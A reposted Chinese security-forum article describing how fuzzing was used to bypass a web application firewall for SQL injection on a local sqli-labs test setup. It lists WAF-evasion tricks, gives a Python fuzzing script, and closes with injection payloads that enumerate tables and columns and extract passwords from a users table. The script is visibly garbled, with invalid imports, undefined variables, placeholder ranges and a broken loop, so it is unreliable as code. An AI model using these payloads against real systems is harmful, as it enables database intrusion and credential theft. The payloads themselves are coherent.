安全矩阵

 找回密码
 立即注册
搜索
查看: 2461|回复: 0

记一次Fuzz绕WAF实现SQL 注入

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-6-12 21:17:33 | 显示全部楼层 |阅读模式
记一次Fuzz绕WAF实现SQL 注入程序员阿甘 昨天
来自 | FreeBuf
0×00简介本文使用自己编写的Python脚本,实现绕过某WAF限制,实现SQL注入。先解释一下Fuzz概念,Fuzz是安全测试的一种方法,面对waf无所适从的时候,可以使用Fuzz模糊测试来绕过waf,甚至你可以发现一些意想不到的payload语句。
0×01SQL注入绕waf常用的方法使用大小写绕过 例如:
使用注释符/**/ #绕过
使用/!**/绕过
根据数据库特性进行绕过,例如mysql数据,使用/*!5000 union select x,x,x/
更改user-agent
…….
0×02 使用/**/结合Fuzz绕过先组建好sql注入本地测试平台,在服务器中安装某WAF狗。本文使用的中间件为apache和数据库是mysql,首先安装配置安全狗,在此之前需要安装好phpstudy。

访问搭建好的SQL注入平台.

先进行测试过程为:?id=1’ union select 1,2,3—+ 拦截 。
?id=1’ /union /select 1,2,3—+ 拦截 。
?id=1’ /union / 1,2,3—+ 不拦截
?id=1’ union 1,2,3—+不拦截
?id=1’ select 1,2,3—+不拦截
说明union和select在一起会拦截
使用/%0a/union/%0a/select/%0a/1,2,3—+ 拦截 PS:%0a是换行意思

那么这个时候可以使用python脚本进行fuzz测试了。测试替换脚本为%0a,%23代码如下:
  1. From urllib import requests

  2. import time

  3. url='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1'

  4. union='union'

  5. select='select'

  6. num='1,2,3'

  7. l={'%0a','%23'}

  8. ll={'S'}

  9. lll={'%0a','%23'}

  10. x='/*!'

  11. f='*/'

  12. def bypass():

  13. for xiaofei in a:6t

  14. for xiaofeii in ll:

  15. for xiaofeiii inlll:

  16. for two in range(?,?):   #?自己指定步长

  17. urls=url+xiaofei+xiaofeii+xiaofeiii+ll+str(two)+union+lll+xiaofei+xiaodis+xiaofeii+select+xiaofei+xiaofeii+xiaofeiii+num

  18. try:

  19. result=requests.get(urls).text

  20. len_r=len(result) #len() 方法返回对象(字符、列表、元组等)长度或项目个数。

  21. if (result.find('safedog') == -1):
  22. #print('bypass url addreess:' + urls + '|' + str(len_r))
  23. print('bypass url addreess:'+urls+'|'+str(len_r))
  24. if len_r==715:
  25. fp = open('url.txt', 'l+')

  26. fp.write(urls + '\n')

  27. fp.close()

  28. except Exception as err:

  29. print('connecting error')

  30. time.sleep(0.1)

  31. if __name__ == '__main__':

  32. print('fuzz strat!')

  33. bypass()
复制代码
0×03 测试结果
测试结果为:
http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1/S%0a/union/x%0a/select/x%0a/ 1,2,3没有被拦截。

0×04 扩展同样利用其他方法进行爆破,下面是payload。
  1. ?id=1’ /!20000order/by 3–+
  2. ?id=-1’ union /!00000all select/ 1,2,3–+
  3. ?id=-1’ union /!00000all select/ 1,database/**/(),3–+
  4. ?id=-1’ union /!00000all/ /!00000select 1,2,table_name from/ information_schema.tables where table_schema=‘security’ limit 3,1 --+
  5. ?id=-1’ union /!00000all/ /!00000select 1,2,column_name from/ information_schema.columns where table_name=‘users’ limit 2,1 --+
  6. ?id=-1’ union /!00000all/ /!00000select 1,2,password from/ users limit 1,1 --+
复制代码


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 07:34 , Processed in 0.013977 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表